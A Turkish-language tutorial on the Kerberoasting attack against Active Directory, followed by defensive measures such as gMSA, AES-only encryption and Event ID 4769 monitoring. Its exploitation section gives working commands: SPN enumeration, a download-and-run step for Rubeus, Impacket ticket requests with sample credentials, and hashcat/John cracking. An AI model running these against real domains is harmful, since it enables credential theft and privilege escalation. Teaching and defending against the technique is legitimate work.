Active Directory (AD) altyapılarında yetki yükseltme (privilege escalation) ve lateral movement aşamalarında sıkça kullanılan en etkili tekniklerden biri Kerberoasting'dir (MITRE ATT&CK: T1558.003).
Bu tekniğin en kritik özelliği, Active Directory tasarımından kaynaklanan yapısal bir durum olmasıdır. Saldırgan herhangi bir yetkili hesaba sahip olmasa bile, yalnızca geçerli bir Domain User hesabı ile ağdaki tüm servis hesaplarına ait Kerberos biletlerini meşru bir şekilde talep edebilir ve bu biletleri çevrimdışı (offline) olarak kırarak servis parolalarını ele geçirebilir.
Bu yazıda Kerberoasting saldırısının teorik altyapısını, Kerberos protokolündeki zayıf noktaları, adım adım sömürme (exploitation) süreçlerini ve sistem yöneticilerinin alması gereken savunma (mitigation) önlemlerini detaylarıyla inceleyeceğiz.
1. Kerberoasting Nedir?
Kerberoasting, Active Directory ortamındaki bir servis hesabına atanmış SPN (Service Principal Name) değerini suistimal ederek, o servise ait TGS (Ticket Granting Service) biletinin elde edilmesi ve servis hesabının NT hash'inin/parolasının çevrimdışı olarak kırılması (offline brute-force) saldırısıdır.
Temel Sebebi:
- KDC Yetkilendirme Yapmaz: Active Directory'de varsayılan olarak herhangi bir Domain User, ağdaki herhangi bir SPN için KDC'den (Key Distribution Center) bir servis bileti (TGS-REP) isteyebilir. KDC, kullanıcının o servise gerçekten erişim yetkisi olup olmadığını bilet verirken denetlemez (yetkilendirme servis tarafında yapılır).
- Servis Parolası İle Şifreleme: KDC tarafından istemciye dönen
TGS-REPpaketi içerisindeki Service Ticket (ST / TGS), ilgili servisi çalıştıran Service Account'un NTHash'i ile şifrelenir. - Offline Kırma: İstemci (veya saldırgan) bu şifreli bilet verisini aldıktan sonra, Active Directory ile hiçbir ağ iletişimi kurmadan kendi yerel makinesinde Hashcat veya John the Ripper gibi araçlarla parolanın hash değerine brute-force / dictionary attack uygulayabilir.
2. Kerberos Protokolü ve SPN İlişkisi
Saldırıyı tam olarak kavrayabilmek için Kerberos mesajlaşma adımlarını hatırlayalım:
sequenceDiagram
autonumber
actor Attacker as İstemci / Saldırgan (Domain User)
participant KDC as Domain Controller (KDC)
actor Service as Hedef Servis (SPN)
Attacker->>KDC: 1. AS-REQ (Kullanıcı doğrulaması isteği)
KDC-->>Attacker: 2. AS-REP (TGT bileti ve Session Key)
Attacker->>KDC: 3. TGS-REQ (Hedef SPN için bilet talebi + TGT)
KDC-->>Attacker: 4. TGS-REP (Servis Hesabının NTHash'i ile Şifreli ST Bileti)
Note over Attacker: 5. Offline Brute-Force (Hashcat / John the Ripper)
SPN (Service Principal Name) Nedir?
SPN, Kerberos kimlik doğrulamasında bir servis örneğini (instance) bir servis hesabıyla eşleştiren benzersiz bir tanımlayıcıdır. Format örnekleri:
MSSQLSvc/sqlserver01.corp.local:1433HTTP/web.corp.local
Active Directory objelerinin servicePrincipalName özniteliğinde (attribute) tutulur. Eğer bir servis, standart bir bilgisayar hesabı (SYSTEM, NETWORK SERVICE) yerine özel bir User Account (Kullanıcı Hesabı) altında çalıştırılıyorsa, bu kullanıcı hesabı Kerberoastable hale gelir.
3. Adım Adım Kerberoasting Sömürme (Exploitation)
Saldırı 3 temel aşamadan oluşur:
- Keşif (Reconnaissance): SPN tanımlı kullanıcı hesaplarının tespit edilmesi.
- Bilet İsteği (Ticket Request): TGS biletlerinin belleğe alınması veya dosyaya aktarılması.
- Kırma (Cracking): Elde edilen biletin parola sözlüğü ile kırılması.
Adım 1: SPN Tanımlı Hesapların Tespiti
PowerShell Active Directory Modülü İle:
Get-ADUser -Filter {serviceprincipalname -like "*"} -Properties serviceprincipalname | Format-Table Name, serviceprincipalname
PowerView İle:
Get-DomainUser -SPN | Select-Object samaccountname, serviceprincipalname
BloodHound / Neo4j Sorgusu İle:
MATCH (u:User {hasspn: true}) RETURN u
Adım 2: TGS Biletlerinin Elde Edilmesi
Rubeus İle (Tavsiye Edilen):
Rubeus kullanarak hedef kullanıcının TGS biletini doğrudan kırma formatında ($krb5tgs$) çıktı alabilirsiniz:
# Rubeus aracının indirilmesi / çalıştırılması
iwr -Uri https://github.com/forestallio/ActiveDirectoryRedTeaming/raw/main/Rubeus.exe -OutFile Rubeus.exe
# SPN tanımlı kullanıcı için TGS isteğinde bulunulması ve hash'in kaydedilmesi
.\Rubeus.exe kerberoast /user:sql_svc /outfile:hashes.txt
Impacket (GetUserSPNs.py) İle (Linux / Kali):
Domain erişimi olan herhangi bir kullanıcı bilgisiyle dışarıdan da bu işlem tetiklenebilir:
GetUserSPNs.py corp.local/john.doe:Password123! -dc-ip 172.31.101.5 -request -outputfile kerberoast_hashes.txt
Adım 3: Hash'in Offline Kırılması
Elde edilen $krb5tgs$ formatındaki hash değeri John the Ripper veya Hashcat ile kırılır:
John the Ripper İle:
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
Hashcat İle:
# Kerberos 5 TGS-REP etype 23 (RC4) için mode 13100 kullanılır
hashcat -m 13100 -a 0 hashes.txt rockyou.txt
Eğer servisi yöneten kullanıcının parolası zayıfsa (örn: Password123!, Sql2022!), kısa süre içinde açık metin parola elde edilir. Bu hesap genellikle yüksek yetkilere (Domain Admin veya sunucularda Local Admin) sahip olduğundan, saldırgan tüm ağda yetki yükseltmiş olur.
4. Savunma Önlemleri ve Sertleştirme (Mitigation)
Kerberoasting mimari bir durum olduğundan tamamen "kapatılamaz", ancak etkileri minimize edilebilir:
-
gMSA (Group Managed Service Accounts) Kullanın: Servisler için standart kullanıcı hesapları yerine gMSA kullanın. gMSA hesaplarının parolaları Windows tarafından 128 karakterli karmaşık dizgiler olarak otomatik yönetilir ve periyodik olarak değiştirilir. Kırılması imkansızdır.
-
Güçlü ve Uzun Parola Politikaları: gMSA kullanılamayan eski servis hesaplarında parolaları en az 25-30+ karakter uzunluğunda, karmaşık yapıda belirleyin ve düzenli periyotlarla değiştirin.
-
En Az Yetki Prensibi (Least Privilege): Servis hesaplarını kesinlikle
Domain Admins,Enterprise AdminsveyaAdministratorsgibi yetkili gruplara üye yapmayın. -
AES-256 Şifrelemeye Geçin (RC4'ü Devre Dışı Bırakın): Kerberos RC4-HMAC şifreleme algoritması brute-force saldırılarına karşı çok hızlı kırılır. Servis hesaplarında yalnızca AES128_HMAC ve AES256_HMAC şifrelemesini zorunlu kılın.
-
KDC Olay Günlüklerini İzleyin (SIEM / Detection):
- Event ID 4769: A Kerberos service ticket was requested.
- Kısa sürede çok sayıda TGS talebi yapan veya
Ticket Encryption Typedeğeri0x17(RC4) olan anormal istemci isteklerini SIEM kuralları ile alarm mekanizmasına bağlayın.
Özet
Kerberoasting, Active Directory sızma testlerinde "düşük riskli bir hesaptan yüksek yetkili domain hesaplarına geçiş" sağlayan en popüler yöntemdir. Etkili bir savunma için servis hesaplarının mimarisini gMSA yapısına geçirmek ve parola karmaşıklığını otomatize etmek hayati önem taşır.
